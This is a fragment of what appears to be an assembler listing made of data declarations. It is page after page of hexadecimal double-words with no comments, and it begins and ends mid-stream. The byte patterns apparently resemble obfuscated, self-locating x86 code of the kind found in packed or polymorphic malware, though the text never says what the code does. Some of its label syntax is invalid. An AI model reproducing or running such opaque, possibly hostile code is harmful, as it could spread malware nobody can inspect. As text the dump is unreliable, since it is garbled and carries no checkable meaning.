0C2E8EDCFh dd 4F1CAEF8h, 780A6ED6h, 0E0196FC7h, 5AC5A14Ah, 0C92FBE9Fh dd 0D8410928h, 0DFBBF29Eh, 73C1F240h, 2E4A6BCFh, 0AB12E4Ah dd 0C3C2EBBFh, 0BFBE7DE2h, 2E0FC2EBh, 7A7CCF66h, 0BCD855FDh dd 0BF9447D8h, 1435C2EBh, 0D9A7385Ch, 2AC92FC1h, 0AB32B214h dd 95B4C28Ah, 0ED57CFF1h, 0B77AE5A5h, 0C085BE2Ch, 0F381E530h dd 739CAE5Ah, 0F296DE83h, 3E0EE496h, 0E40A5DFAh, 8D6D33ACh dd 8DAC12E6h, 77BE5214h, 31E87713h, 9A0E668Ch, 1B5525E8h dd 0D2F3468Eh, 6561FE9Ah, 0AA14ADADh, 0EB5155D8h, 0A19FC25Ah dd 0A3D59D47h, 6BD8E682h, 42A39DF9h, 43A1B82h, 9ABB22A2h dd 0E0457BD2h, 0D9DDC164h, 52CBC163h, 18DC6h, 0EE4EB400h dd 570D7947h, 0FC60C0FEh, 46F66B55h, 0CD77D1EFh, 7EDE4664h dd 0CBF55C08h, 7F41E85Ch, 0CFF15804h, 347EE56h, 0EE41F867h dd 0DC8AC2E8h, 6ED64F6Eh, 8B21B1F7h, 0EC88A91Bh, 74B0BD73h dd 708EFCCFh, 86EAC10h, 0D5B11839h, 50C97BEBh, 838A3971h dd 0C1A5F080h, 304A805Eh, 0A0E0C1C9h, 8B8CFAC4h, 951DE4E9h dd 615F7E34h, 0E3C25B01h, 0CFE534ABh, 7A168222h, 0F6C85733h dd 5716824Eh, 9A9EF76h, 6F77E88Ch, 0AE10C1C2h, 70D5EB8Fh dd 7395DF4h, 506E269Eh, 6FC22F3h, 0F0663DE0h, 709674D1h dd 31A8C51Fh, 0E1A5h, 0C27AE800h, 73F1556Bh, 0C07CE4DAh dd 72EA5769h, 0C183E5DBh, 7AE24A68h, 0CFF1580Ch, 7B45EC58h dd 0C3FD5408h, 0F4BE262h, 0ED45F46Bh, 0D086C2E8h, 3DD64F62h dd 25B39C57h, 29BBA35h, 561AC44h, 0B43BFE61h, 0AD8CC92Fh dd 0F81E81E5h, 0C9CF73E4h, 8E2E93ADh, 0EBC46A11h, 0E65D63C2h dd 0DF765776h, 0BF1D85BBh, 9421B1F7h, 61176FF0h, 4876C933h dd 224667DDh, 0C322A71Ch, 98B99801h, 5F2D49D0h, 7DC25524h dd 82BCF42Fh, 340AA321h, 138C15CFh, 0FD6EF698h, 0CD36086Ch dd 0E7AF8E17h, 40A5929Ch, 0B2132D84h, 0BDCFAB32h, 0E0994741h dd 9E46BE90h, 58C9F7BFh, 41BE80E4h, 1D23029Bh, 82A33AAAh dd 502B53CAh, 48FC69C6h, 0FE66DFE1h, 10F367h, 15410000h dd 942BEE71h, 6FD4C930h, 0EAA283F5h, 0D54F60D2h, 63C0FE67h dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h dd 5AC6F861h, 0E1457BE2h, 56EDFA63h, 0C681E689h, 4, 3304EE83h dd 34312434h, 24343324h, 6898685Ch, 1C890000h, 0E7895724h dd 4C781h, 0EF810000h, 4, 5C243C87h, 50243489h, 479CE6B8h dd 8BC38906h, 0C4832404h, 348B5404h, 4C48124h, 68000000h dd 258Dh, 8F241C89h, 34FF0846h, 0C4815E24h, 4, 51241C8Bh dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFCD5F2h, 5789B02h dd 1AAE150Ch, 0A7BD8416h, 0ADB81819h, 30647A8h, 5EE0FFC5h dd 0AE76DF37h, 8D2BE53Dh, 635060Eh, 1367D4C6h, 5B2A4298h dd 0A213C8C9h, 0E92B61C8h, 75h, 0D88C6660h, 840F04A8h dd 35h, 0B5FF016Ah, 6442D7Dh, 77AF858Dh, 0D0FF0647h, 17C58589h dd 0FE8B0644h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 64417C5h, 32E9h, 0E985C600h, 56064402h, 0C530DF68h dd 0E9B5FFA9h, 8D064417h, 4777AF85h, 89D0FF06h, 4408D185h dd 99858D06h, 5006442Bh, 56A206Ah, 0D195FF56h, 61064408h dd 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh dd 0DF1BCE17h, 0A6DB6734h, 46810500h, 0A3EA1A00h, 0D5h dd 0C8199C00h, 480000FEh, 0FBFEh, 0E6412800h, 727DD427h dd 0CBEE9C3h dd 81660000h, 838F94D7h, 442F11BDh, 850F0006h, 5Bh, 9EDCBB66h dd 11E8h, 3A419900h, 7C1233C3h, 22D1996Ch, 0A21CB53Ch dd 8E0F97A8h, 6, 2029B589h, 0B85A0644h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 81C35545h dd 0B4B93D00h, 0BA66E248h, 4C280A8h, 0B9BD8B00h, 8B06441Fh dd 0DA8166C0h, 9D89895Eh, 644312Dh, 20CDBD83h, 75000644h dd 25BD8309h, 6440Bh, 53501374h, 0D0B8C08Bh, 8D000004h dd 46A6239Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501174h dd 4D0B8h, 709D8D00h, 0FF0646A5h, 66585BD3h, 0F23C5BAh dd 586h, 6AF4BF00h, 0C08B05A5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 33C35141h, 0D7CA1510h, 8B7A47DBh dd 1B858DDEh, 600647AAh, 0CBC28166h, 38F0FAAh, 0F000000h dd 9061CEB7h, 12E8h, 37B2C200h, 365DD0D1h, 0A9E23E10h dd 7A5BCB45h, 521F93DCh, 6E8h, 62F50A00h, 5F88CEDFh, 0E850595Fh dd 14h, 78E1D9D5h, 1CDB3E9Bh, 9AB839E8h, 2AE11BAFh, 33D8DCF9h dd 6E950h, 8B260000h, 73594925h, 0F905A5Ah, 7E9DAB7h, 0FB000000h dd 0DC215EADh, 858DCCA0h, 647A9D8h, 745BD8Bh, 958B0644h dd 6440271h, 89AFB750h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 958EEAC3h, 89FB8B66h dd 441E518Dh, 195FF06h, 106441Ch, 4408FD85h, 24448B06h dd 0DA8B6604h, 0AA038589h, 958B0647h, 6441DE1h, 824448Bh dd 0CE9h, 17400300h, 0D891D65Bh, 52213C4Eh, 1785897Ah dd 0E90647AAh, 6, 6A6E404h, 0BD8300A6h, 6441FA1h, 9A850F00h dd 60000000h, 8B61F9F9h, 441D4195h, 0E985C606h, 47064402h dd 0A258D89h, 0D5680644h, 8A99A210h, 243481F1h, 4D38B707h dd 0DDB1D981h, 0B5FF5C02h, 64417E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 8FC35545h, 0C669EC9Ah, 8DAFFD0Dh dd 4777AF85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FFB0850Dh, 0FE9D0h, 0B3470000h dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0A1858927h, 3106441Fh dd 442EF185h, 2DBD8306h, 6441Ch, 0B2850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 489166C3h, 5ACBDED9h, 5E99E58h, 0C7000000h, 987A8F87h dd 0C958509h, 0BF660644h, 85C60CE8h, 64402E9h, 159D8947h dd 68064400h, 0C81D89DCh, 0DE8h, 1C9B6600h, 1C3B41A8h dd 257AFA48h, 6056A382h, 815F5B61h, 3C3E2434h, 0BF0F4212h dd 0E9B5FFD7h, 6A064417h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0EE5EC350h, 89842E24h dd 442C5D9Dh, 0AF858D06h, 89064777h, 442CE1B5h, 0F9D0FF06h dd 1C2D8589h, 95290644h, 6441A6Dh, 1A7DBD83h, 0F000644h dd 12E85h, 0C6CB8B00h, 4402E985h, 6A5606h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 738D9DC3h dd 0A5C3D42Dh, 0F9BD3163h, 0E8064406h, 4, 0D41F6D39h, 6E950h dd 4D5D0000h, 3F294F1Bh, 424448Bh, 28C0F60h, 57000000h dd 8B615Eh, 44891CB1h, 800F0424h, 16h, 10E8h, 5C8E1300h dd 19763CB5h, 80415F39h, 0F1B7FBCCh, 6A5859A4h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0FB66C352h, 0D787DFB1h, 8DB589CEh, 0FF06440Ah, 4417E9B5h dd 0C2816606h, 0BF0FB4A5h, 0AF858DD7h, 6A064777h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 2D31C353h, 0FF8E6DFAh, 55006AD0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 5D04D8F7h dd 0EDE7BB66h, 1091BD8Bh, 85890644h, 6441A7Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 41C35747h, 7C01EAFBh dd 81666EE5h, 0C626B8F7h, 4402E985h, 0B9666C06h, 7C6814DBh dd 60BC7F82h, 60C28B66h, 6CB95853h, 613D3001h, 24048161h dd 1E85EE07h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 90C35040h, 8D8B81C3h, 64432A5h, 2D7DB5FFh, 0BF0F0644h dd 8860FCFh, 52000000h, 2EF5B529h, 8D5A0644h, 443A6585h dd 0B5958B06h, 0FF064432h, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0ED52F287h dd 10BEE167h, 0B5896076h, 6441C85h, 8B6661F8h, 78589DAh dd 0E90647AAh, 0Eh, 132E4DEEh, 52D54EA3h, 9B2DD886h, 81669F5Dh dd 6A1527F1h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 9624793h, 2929B6C7h, 44302D85h, 4DB56806h dd 0ACB6A4B1h, 4B240481h, 0BB5B4EC2h, 6A864CBEh, 44E89268h dd 81C88B33h, 0E8922434h, 0B5893345h, 6440675h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 3A3C59C3h, 19038E30h, 95FF1B8Ch, 6442BDDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 31C35040h, 138589F8h dd 660647AAh, 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 9FC35747h, 1F6D9589h, 0ED680644h, 66F49749h dd 813E58BBh, 0B6132404h, 6A0B69h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 958996C3h, 6441D11h dd 0FA51D281h, 6652711Eh, 905BF98Bh, 1A800Fh, 52500000h dd 0FE9h, 0E3435100h, 0CEA6C57h, 6BD1DF0h, 0F5F31FC3h dd 585A310Fh, 9096B150h, 2DDAF281h, 0B6A365Eh, 0DFD9D8Bh dd 0BD890644h, 6440A15h, 0A9E0858Dh, 10E90647h, 20000000h dd 0A719AC63h, 8587FDF5h, 35964F62h, 90E8C06Ch, 0EEDD04B9h dd 5250503Ch, 2F47BF66h, 0AE8310Fh, 40000000h, 31051B9h dd 807D4E7Bh, 0DA8EBB28h, 5A591E48h, 85299058h, 6441CB1h dd 1FA195FFh, 0BE600644h, 44681EB9h, 0B58D61FCh, 647A9EAh dd 6D58D89h, 0E8960644h, 5, 0C046032Dh, 8B6650C2h, 505B59FAh dd 96CE8B66h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0A9C35040h, 0B357B0D7h, 80DAB70Fh, 0E85069E3h dd 0Ah, 35BB897Ch, 0EA9E6FFFh, 0CA8BC2D6h, 24048959h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FAC35545h, 0FCFCF13h dd 68Dh, 75BD8900h, 0FF064402h, 441C2D95h, 0C59D8B06h dd 8906440Dh, 4404219Dh, 53D0FF06h, 1254F781h, 8B5F3E45h dd 47AA13B5h, 0E823B606h, 0Ah, 0F7EE836Eh, 7E0B20D3h, 0B70F4BA3h dd 85C759DBh, 647AA0Bh, 0 dd 7C1958Bh, 7E800644h, 840F0020h, 2B3h, 1DE59529h, 6A600644h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 1D8BC357h, 0D460E516h, 20468D94h, 0C79958Bh dd 85890644h, 647AA0Fh, 1CD9BD01h, 0EE90644h, 81000000h dd 0C82D4D9h, 6660401Eh, 0DF9CC281h, 388061h, 0FFEF850Fh dd 8B66FFFFh, 28E9D9h, 0BF660000h, 6A48267Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0D183C353h, 5AB3DDE4h, 3880EE30h, 72840F5Ch, 89000000h dd 44298D9Dh, 2F388006h, 63840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B16A18C3h dd 3420D698h, 0F853B56h, 0F0647AAh, 0FFFF9583h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0D7BA37C5h, 4FFE48Bh, 880F3B5Ah, 4, 258EB966h, 982F3CB9h dd 840F405Ah, 0Ah, 5E9h, 86BE5F00h, 0BD8368BCh, 647AA17h dd 9A840F00h, 0BF000000h, 1F5ACC80h, 8B605790h, 7E8DAh dd 73330000h, 25330CFBh, 5A615E21h, 0FE850h, 6F8A0000h dd 0D701E33h, 2627DB77h, 36CDCFE1h, 43BF6600h, 29905F7Dh dd 440D6D9Dh, 17850306h, 0E80647AAh, 0Eh, 0E4CC7BE9h, 81F2442Eh dd 0DA9AD5C6h, 0B70F5AA0h, 0C659DEh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 5E85855h, 0A9000000h dd 50E6710Bh, 10E8h, 0B6063600h, 0D4EE4E1Ah, 0B207224Ah dd 0A1CD504Ah, 5BCE8B43h, 8B66905Ah, 0FB8B50CAh, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 1B0C63C0h, 8D3D8BBFh, 9D958B3Ah, 0FF064410h, 47AA03B5h dd 795FF06h, 6A0647AAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 1AC6C350h, 60C61BBEh dd 2DB18D89h, 0B610644h, 6A850FC0h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 7E66C357h, 6FECC0D0h, 0BB606905h, 2C19C94Dh, 9B589h dd 66610644h, 2361CB81h, 0A5B96661h, 0B85C7B2h, 10647AAh dd 0FC000000h, 3EE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 2DE06BAFh, 850961F3h dd 6442E9Dh, 11CC681h, 0B70F0000h, 6D8D8BD7h, 0E9064418h dd 0FFFFFD46h, 68C88B66h, 3EDB53D3h, 81F88B66h, 0D3D32434h dd 8BF83EDBh, 4403018Dh, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E97FC351h dd 11h, 0DDDA6918h, 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 13B5FF98h dd 0F0647AAh, 95FFD3BFh, 6441A7Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 21C35141h, 0AF9E9AD1h, 3D9589DFh dd 0E9064400h, 7, 0F849A22Fh, 8B192165h, 47AA0B85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 1F436DA1h, 0BF50A773h, 4E7DDh, 3240489h, 44257D95h dd 0F0DA8006h, 0AA1B858Dh, 6A0647h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0E850E2C3h dd 11h, 5440CAC4h, 13DAFF7Ah, 0B19FBAAFh, 0AB30DDBBh, 59CC8A28h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0AAA3C350h, 0A0637402h, 1D219589h dd 858D0644h, 647A9D8h, 17B1958Bh, 66500644h, 489DE8Bh dd 6890F24h, 89000000h, 442BD9B5h, 3DDF8006h, 261995FFh dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FBAD2C3h, 882h, 2840F00h, 56000000h, 0E381665Fh dd 0C08B4375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0DBC35545h, 50A6BA31h, 9D0930FFh, 6442865h, 20CDBD83h dd 75000644h, 25BD8309h, 6440Bh, 53501374h, 0D0B8C08Bh dd 8D000004h, 46A68A9Dh, 5BD3FF06h, 25BD8358h, 6440Bh dd 53501174h, 4D0B8h, 899D8D00h, 0FF0646A5h, 6A585BD3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0A0DEC351h, 49958B7Eh, 6A06441Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0CBC9C356h, 90E1C10Fh, 8BB64522h, 458D29C0h, 5806440Ch dd 0F90008C2h, 13E9h, 0FBB2DE00h, 63D86C2Dh, 9286BCA4h dd 1BEBE2A0h, 0FD050B7Dh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0BBFB20C3h, 3529052Fh dd 75BD8995h, 8D06441Ah, 47AA2D85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BE9600Eh dd 11000000h, 0CD32DEAEh, 0B5F1D6FBh, 8529F7BFh, 6443269h dd 8589F561h, 6442BD5h, 39EBh, 2CC00BFh, 2E400BFh, 0BFh dd 502C0000h, 5C6B47C3h, 547F76DAh, 507C22CBh, 17E84FC0h dd 39AE4ECAh, 752576E0h, 4DFE22E2h, 573D52E1h, 5C5E4AFAh dd 591646CFh, 0D15B22C4h, 398522ADh, 61017A8Eh, 3D456627h dd 3D94662Fh, 395822B5h, 6DEF72EEh, 0F6C0C321h, 5F855046h dd 36C2AE10h, 39C22021h, 0B2AFA9AEh, 6BB0486Eh, 39582146h dd 0FA7602AEh, 1D42ABF4h, 1D4FA3AAh, 398538AAh, 0FA9060AEh dd 85A44C51h, 6A301FFFh, 6788A9C8h, 19E19F2Dh, 4C1624EAh dd 1CB6A1A7h, 398366A5h, 6A923BDAh, 80D9E225h, 0B0B022AAh dd 7D5AD72Bh, 76B1AFA8h, 0C6106406h, 0BA53797Dh, 7D8E0713h dd 2EB622A8h, 80D971FEh, 0B0B022AAh, 7D5AD72Bh, 7B1AFA8h dd 0C610640Bh, 8B53797Dh, 5418AB56h, 0B2C466BAh, 6F61486Eh dd 39B02146h, 0FA0602AEh, 1D58ABF0h, 1D52A3AAh, 390B35AAh dd 0FAD364AEh, 0D5183C93h, 3B88A768h, 53E624EAh, 3AB070AEh dd 192C22AEh, 0B04CE1F4h, 0B80F06FAh, 238106EAh, 7BC222AEh dd 7CB6E1FCh, 824E5787h, 47A74AEEh, 2BC5B068h, 0B11622AEh dd 40D8DCF3h, 9D5C3CF4h, 0C74C27ECh, 2A7077B0h, 1DB4A302h dd 30BA1BFDh, 0D099DD5Bh, 531066B9h, 3AE377AEh, 198522AEh dd 0B09FE1F3h, 0B86506C2h, 23B406EAh, 7C5822AEh, 7F5FE1FBh dd 197B4E1Eh, 0B410938Bh, 7EF28D2Bh, 0B92FA2A8h, 390BF251h dd 39B3CAF8h, 677822AEh, 4DA57C6Dh, 7D97268Ah, 3912268Ah dd 6FC322AEh, 0BD12006Dh, 685B3FE9h, 30F1AFA5h, 530724EAh dd 259644AAh, 1E4F4AE0h, 0C980B638h, 9EA1262Fh, 6FA94B46h dd 0E0FA98C8h, 0BAE34AF1h, 34B004ACh, 0ED2C22AEh, 5E2E6CD2h dd 0D6EB7F2Ch, 20165448h, 0B2B69CC8h, 1D55A3F1h, 1FB2A311h dd 0AB897B14h, 392ACBB3h, 6E7822AEh, 0BA23D27Fh, 0A40C22C4h dd 3F86204Bh, 0BCE8F251h, 3FF40C7Fh, 8E0CA727h, 394624E9h dd 3915CAFFh, 602B22AEh, 750C7B6Dh, 7D43268Ah, 397B268Ah dd 68F122AEh, 0F55EB6Dh, 706E22EEh, 3915A5A1h, 0B26D22AEh dd 3C7DA95Dh, 39C22062h, 8E39A727h, 0F93324E9h, 65DDABB6h dd 0A2A6519h, 3BFA9B6Eh, 93F822AEh, 39852747h, 0C0D4FBAEh dd 390B7CDEh, 39B3CAF8h, 677822AEh, 4DA57C6Dh dd 7D97268Ah, 3911268Ah, 6FC322AEh, 40D736Dh, 83E97610h dd 25E1BF27h, 0BC9E24EAh, 3F682047h, 681648EDh, 390B2146h dd 0FADC02AEh, 1D8EABF7h, 1D25A3AAh, 39B03EAAh, 0FA0963AEh dd 3494189h, 0EFA41901h, 0E9BC2DF4h, 39852646h, 5EA97CAEh dd 3972CA32h, 607E22AEh, 4E49D354h, 0C7B5A161h, 0C9634159h dd 4A0E9BE2h, 6752A98Bh, 599072FEh, 86502DCFh, 73E5848Eh dd 7DD37AF4h, 39A7268Ah, 6B4642CEh, 615113A1h, 39852946h dd 6C13C0AEh, 185ECF14h, 0A18C755Dh, 0FBD343F7h, 1D68ABCFh dd 8CE97AAAh, 3F4F3547h, 0D1D322C4h, 39C222ADh, 67A27C8Eh dd 3D945627h, 3D7C662Fh, 392C22B3h, 0C5D574E8h, 79BC368Ah dd 9FCA5015h, 5721E1h, 0B467668Bh, 7EC78D2Bh, 0C689A9A8h dd 682C487Eh, 39162146h, 0FA5202AEh, 1DC9ABF7h, 1D86A3AAh dd 39613AAAh, 0FAE163AEh, 2AF23864h, 0C39B2D11h, 34D7A727h dd 396124EAh, 3986CAF9h, 66E222AEh, 45E87D6Dh, 7D31268Ah dd 394E268Ah, 6E6B22AEh, 91A5496Dh, 21EEBF27h, 0BC0824EAh dd 3F8611A7h, 0D13222C4h, 39B022ADh, 629B798Eh, 3D087E27h dd 3D32662Fh, 390B22B7h, 2B4671EDh, 0DFBDEF20h, 0D8F42928h dd 0B0B666A1h, 7D74DB33h, 0F0992BA8h, 0B01066A1h, 7D13072Bh dd 840E72A8h, 3F860E8Fh, 0D0E4E4F1h, 6AB666ACh, 51D1C42Eh dd 0A0941B8Dh, 75BBD911h, 1D0FA3CDh, 5B7C2D1Bh, 2E2B9751h dd 390B24EAh, 39B3CAFEh, 617822AEh, 7DA57A6Dh, 7D97268Ah dd 3916268Ah, 69C522AEh, 6EFABC6Dh, 181B9C45h, 0B41EF90Eh dd 7E2F8D2Bh, 68A1A9A8h, 0C61066BEh, 1486A97Eh, 0B083668Ch dd 7DDE6F2Bh, 6A6148A8h, 39B02146h, 0FA0302AEh, 1D70ABF5h dd 1D52A3AAh, 390B39AAh, 0FAD661AEh, 2723E564h, 41B2ADF8h dd 8A3798C8h, 1909AF27h, 0BCEA24EAh, 3F522047h, 6F0B48FDh dd 39852146h, 0FA9C02AEh, 1D15ABF0h, 1DF4A3AAh, 395835AAh dd 0FA7A64AEh, 0FEA9E7EDh, 0DAA79517h, 96F4AA5h, 6B94F408h dd 39612D47h, 462DB1AEh, 3CE5E098h, 0CB252511h, 2ECDE53Ah dd 0D8A78F7h, 87717B8Ah, 6EC248A0h, 39612146h, 0FAEF02AEh dd 1D24ABF1h, 1D68A3AAh, 39163AAAh, 0FA5C65AEh, 6731B582h dd 0D077DD84h, 536766B9h, 3A5873AEh, 195822AEh, 0B075E1F7h dd 0B81206E2h, 210F06EAh, 788522AEh, 0DE92E1FFh, 0B98B9BB5h dd 0F6316067h, 23954FEBh, 0B44DDACEh, 7E618D2Bh, 391ACAA8h dd 29E822AEh, 0CE521EA1h, 2855737Bh, 9BAE37D2h, 8092DC0Ch dd 2954AE67h, 53C6DDF1h, 3AE370AEh, 198522AEh, 0B098E1F4h dd 0B86506FAh, 24B406EAh, 7B5822AEh, 0D301E1FCh, 40B7416Dh dd 9B24E086h, 0B07BC42Eh, 7DC4BB2Bh, 0CFE044A8h, 84BB265Fh dd 3F1C0D4Bh, 3BC5A768h, 0D05124EAh, 390B22A3h, 0F22BD670h dd 1978B424h, 9D337186h, 19D54A63h, 0E7E2B23Eh, 0B84BE5FEh dd 0C4DA069Ah, 396105E0h, 3986CAFBh, 64E222AEh, 55E87F6Dh dd 7D31268Ah, 3940268Ah, 6C6922AEh, 0B2DF866Dh, 86042F88h dd 0D030DD7Ch, 53C466B9h, 3A8977AEh, 19B022AEh, 0B005E1F3h dd 0B82806C2h, 241206EAh, 7C0B22AEh, 139BE1FBh, 38BB1A8Eh dd 0E63A6C5Fh, 0D946D811h, 96DDAFD7h, 532A65D9h, 3AFE77AEh dd 190B22AEh, 0B0D8E1F3h, 0B8C606C2h, 236506EAh, 7CB022AEh dd 15DE1FBh, 3B07FACAh, 0B2C6DD05h, 88EAB5Ch, 0D1836683h dd 39C222A3h, 136A2E5Dh, 0BD30EB25h, 4646EAD9h, 3920CA6Fh dd 0F7DB22AEh, 9456D320h, 0A3C7C16Eh, 0EA498BCFh, 0BCA778F0h dd 3FF42047h, 685848E9h, 392C2146h, 0FA4F02AEh, 1D47ABF7h dd 1DC1A3AAh, 39C236AAh, 0FA3063AEh, 0C00F2DC6h, 0DA30F225h dd 362EE35Bh, 39163A24h, 0DA8142AEh, 39852C46h, 4A7106AEh dd 99C67CD5h, 6BCEFA0Fh, 60A453CFh, 1D28A3CFh, 460C3839h dd 0D15D22C4h, 398522ADh, 67017C8Eh, 3D455627h, 3D94662Fh dd 395822B4h, 7CEF74E8h, 0E905771Eh, 0B86D6061h, 0C60E9E68h dd 7DD5CB1Bh, 0EAD62DA8h, 4E1FA723h, 0B46B24E9h, 3F6836DBh dd 3FFFF251h, 0AD0B22AEh, 0E8090D62h, 447ABF1h, 53676684h dd 3A5874AEh, 195822AEh, 0B072E1F0h, 0B81206DAh, 2D0F06EAh dd 7F8522AEh, 0C118E1F8h, 3B88A768h, 53F724EAh, 3AB074AEh dd 192C22AEh, 0B048E1F0h, 0B80F06DAh, 258106EAh, 7FC222AEh dd 92FE1F8h, 2AD83D9Ch, 0D1C502DBh, 392C22AAh, 93DB1EF3h dd 69C1A9C8h, 39852847h, 0F6BC5DAEh, 6B67682Eh, 0B2938277h dd 885C06EAh, 692CA9ACh, 391DCAFCh, 6F2522AEh, 0E0774EB1h dd 781207AEh, 21DE443Dh, 8BF7CF2h, 27E770FEh, 367A9E50h dd 39992D9Fh, 630B22AEh, 0B0DD78F6h, 59C606EAh, 0BF6EE825h dd 39B022ACh, 6139C924h, 392C3246h, 0A46286AEh, 3D6E0F84h dd 5FF99A6h, 0F9936B03h, 7B8EA389h, 67CC44F2h, 2EB19751h dd 394624EAh, 3915CAF9h, 662B22AEh, 450C7D6Dh, 7D43268Ah dd 3976268Ah, 6EF722AEh, 5524306Dh, 30B90937h, 0B41066A3h dd 7E7C8D2Bh, 0C6322DA8h, 39C22B47h, 15B96DAEh, 7E2FC2C3h dd 0E9A70A20h, 392FA8A1h, 0B27022AEh, 0CC8EAB66h, 0B8836687h dd 0C2B2E06Ch, 53B1DD9Ah, 3A5877AEh, 195822AEh, 0B071E1F3h dd 0B81206C2h, 2F0F06EAh, 7C8522AEh, 650DE1FBh, 0B207750Ah dd 0B43B7854h, 3F1C3263h, 921A727h, 0B27024EAh, 0E1874460h dd 0D1D722C4h, 39C222ADh, 63A2788Eh, 3D947627h, 3D7C662Fh dd 392C22B9h, 27D570ECh, 598F376Ch, 16F8BF27h, 84F324EAh dd 3F253B73h, 0AC3942CFh, 3F1C2BE7h, 392C2446h, 0A42B9EAEh dd 0B8C04F57h, 6FEA5977h, 1DA378CBh, 6A6148AAh, 39B02146h dd 0FA0302AEh, 1D70ABF5h, 1D52A3AAh, 390B3FAAh, 0FAD661AEh dd 9BDDCE3Eh, 0E2F4F277h, 3345D323h, 8CDC2D6Eh, 8C2C22ADh dd 0D093E4E0h, 760D66ACh, 0D1D422C4h, 39C222ADh, 60A27B8Eh dd 3D946E27h, 3D7C662Fh, 392C22B8h, 0F4D573EFh, 0BD04C165h dd 398522A8h, 26CFB727h, 920924EAh, 6E3C55D0h, 1D5CA3F7h dd 0A24CCB7h, 0D14122C4h, 390B22ADh, 66467D8Eh, 3DE65E27h dd 3D45662Fh, 39B022B3h, 0E69B75E9h, 0D69AB7E3h, 9F4CD32h dd 0FCBEA9E8h, 368366A3h, 39C22220h, 0FFFD98AEh, 8C4F531Eh dd 3F1C3547h, 21AD9F25h, 0BC9B24EAh, 3F4C5501h, 39853246h dd 51CAA9AEh, 0CA56B6CCh, 12417683h, 89D3D1BBh, 392BCA55h dd 0C7E522AEh, 93198B07h, 1C08A9F5h, 66C466B4h, 53B1DDF0h dd 3A5872AEh, 195822AEh, 0B074E1F6h, 0B81206EAh, 2C0F06EAh dd 798522AEh, 0E2EBE1FEh, 1DA1A157h, 0D1E322C4h, 395822ADh dd 62EF798Eh, 3D327E27h, 3D2F662Fh, 398522B2h, 200171EDh dd 0D4A55761h, 3DE99237h, 0B088A9C8h, 7D2CA32Bh, 2BA944A8h dd 348EA98Ah, 5383669Eh, 3A2A75AEh, 196122AEh, 0B0EFE1F1h dd 0B85C06D2h, 202806EAh, 7E1622AEh, 0B865E1F9h, 0FEF2BB84h dd 39C4A6A1h, 0B4E822AEh, 